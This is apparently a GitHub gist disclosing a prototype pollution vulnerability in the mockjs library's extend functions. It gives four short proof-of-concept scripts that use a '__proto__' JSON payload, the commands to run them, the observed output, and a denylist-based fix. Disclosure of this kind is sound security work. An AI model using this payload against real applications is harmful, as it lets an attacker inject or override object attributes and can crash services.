Skip to content

Instantly share code, notes, and snippets.

@Sampaguitas
Last active November 30, 2023 14:31
Show Gist options
  • Save Sampaguitas/6f8b3f77e262507950431a21914a609a to your computer and use it in GitHub Desktop.
Save Sampaguitas/6f8b3f77e262507950431a21914a609a to your computer and use it in GitHub Desktop.
Prototype Pollution in nuysoft/mock

Description

Vulnerability type: CWE-1321

Version 1.1.0 of mockjs is vulnerable to prototype pollution; Util.extend do not check if the attribute resolves to the object prototype.

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).

Sinks

User controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.

Proof of Concept

Create the following PoC files:

// poc_Handler.js
var Mock = require('mockjs')

let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');

console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Handler.extend({}, BAD_JSON);
Mock.Handler.extend({}, {}, BAD_JSON);
Mock.Handler.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_Random.js
var Mock = require('mockjs')

let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');

console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Random.extend({}, BAD_JSON);
Mock.Random.extend({}, {}, BAD_JSON);
Mock.Random.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_RE.js
var Mock = require('mockjs')

let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');

console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.RE.Handler.extend({}, BAD_JSON);
Mock.RE.Handler.extend({}, {}, BAD_JSON);
Mock.RE.Handler.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_Util.js
var Mock = require('mockjs')

let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');

console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Util.extend({}, BAD_JSON);
Mock.Util.extend({}, {}, BAD_JSON);
Mock.Util.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);

Execute the following commands in terminal:

npm i mockjs # Install vulnerable package
node poc_Handler.js #  Run the PoC for Mock.Handler.extend
node poc_Random.js #  Run the PoC for Mock.Random.extend
node poc_RE.js #  Run the PoC for Mock.RE.Handler.extend
node poc_Util.js #  Run the PoC for Mock.Util.extend

Check the Output for each PoC files:

[+] Before prototype pollution : undefined
[+] After prototype pollution : true

Common Consequences

Scope Impact
Integrity An attacker can inject attributes that are used in other components.
Availability An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.

Proof of Fix

By using a denylist of dangerous attributes, this weakness can be eliminated.

Add the following line in the Util.extend function:

js if (["__proto__", "constructor", "prototype"].includes(name)) continue
// src/mock/handler.js
Util.extend = function extend() {
        var target = arguments[0] || {},
            i = 1,
            length = arguments.length,
            options, name, src, copy, clone

        if (length === 1) {
            target = this
            i = 0
        }

        for (; i < length; i++) {
            options = arguments[i]
            if (!options) continue

            for (name in options) {
            if (["__proto__", "constructor", "prototype"].includes(name)) continue
                src = target[name]
                copy = options[name]

                if (target === copy) continue
                if (copy === undefined) continue

                if (Util.isArray(copy) || Util.isObject(copy)) {
                    if (Util.isArray(copy)) clone = src && Util.isArray(src) ? src : []
                    if (Util.isObject(copy)) clone = src && Util.isObject(src) ? src : {}

                    target[name] = Util.extend(clone, copy)
                } else {
                    target[name] = copy
                }
            }
        }

        return target
    }

Vulnerable code:

https://github.com/nuysoft/Mock/blob/00ce04b92eb464e664a4438430903f2de96efb47/dist/mock.js#L721-L755

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment